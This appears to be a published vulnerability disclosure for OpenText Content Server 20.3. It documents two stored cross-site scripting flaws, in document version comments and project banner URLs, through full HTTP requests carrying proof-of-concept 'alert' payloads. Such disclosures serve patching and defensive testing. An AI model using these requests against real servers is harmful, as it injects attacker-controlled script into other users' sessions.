# Exploit Title: OpenText Content Server 20.3 - 'multiple' Stored Cross-Site Scripting # Date: 19/02/2021 # Exploit Author: Kamil Breński # Vendor Homepage: https://www.opentext.com/ # Software Link: https://www.opentext.com/products-and-solutions/products/enterprise-content-management/content-management # Version: 20.3 ========================================================================================== 1.) Document version XSS ========================================================================================== A user with permissions to create new document versions could create a malicious stored cross-site scripting payload. The description value would be reflected by the server without proper sanitization resulting in a stored XSS vulnerability. ------------------------------------------------------------------------------------------ POST /otcs/cs.exe HTTP/1.1 Host: redacted User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=--------------------------20043647051137266192675354452 Content-Length: 2071 Origin: https://redacted Connection: close [snipped] -----------------------------20043647051137266192675354452 Content-Disposition: form-data; name="func" doc.addversion2 -----------------------------20043647051137266192675354452 Content-Disposition: form-data; name="nodeID" 1125007 [snipped] -----------------------------20043647051137266192675354452 Content-Disposition: form-data; name="comment" <svg/onload=alert()> -----------------------------20043647051137266192675354452 [snipped] ------------------------------------------------------------------------------------------ Next a user which visits the version site will execute the malicious javascript. An example URL will look like the following: ------------------------------------------------------------------------------------------ https://redacted/otcs/cs.exe?func=ll&objId=1125007&objAction=versions&nexturl=%2Fotcs%2Fcs%2Eexe%3Ffunc%3Dll%26objid%3D1121694%26objAction%3Dbrowse%26sort%3Dname ------------------------------------------------------------------------------------------ ========================================================================================== 2.) Project Banner XSS ========================================================================================== A project banner could be crafter in such a way that clicking it would result in the execution of user defined javascript. The application did not validate the scheme used by the user supplied URL and it could be set to "javascript://". The request which saved the payload on the server look like the following: ------------------------------------------------------------------------------------------ POST /otcs/cs.exe HTTP/1.1 Host: redacted User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 479 Origin: redacted Connection: close[snipped] func=ll&objAction=ConfigLookFeel&objId=1120281&currenttab=2&tab=1&roleid=0&newroleid=0&IMG1_ID=1129727&IMG1_PathSaved=STM.K.Brenski%40redacted+Home%3Aimgx.svg&IMG1_Path=STM.K.Brenski%40redacted+Home%3Aimgx.svg&IMG1_ALT=THISBANNERWILLEXECUTEJAVASCRIPT&IMG1_URL=JaVaScRiPt%3Aalert%28%27XSS%27%29&IMG2_ID=1129727&IMG2_PathSaved=STM.K.Brenski%40redacted+Home%3Aimgx.svg&IMG2_Path=STM.K.Brenski%40redacted+Home%3Aimgx.svg&IMG2_ALT=THISONETOO&IMG2_URL=JaVaScRiPt%3Aalert%28%27XSS%27%29 ------------------------------------------------------------------------------------------ Next a user would have to browse to the project page and click on the project banner. ==========================================================================================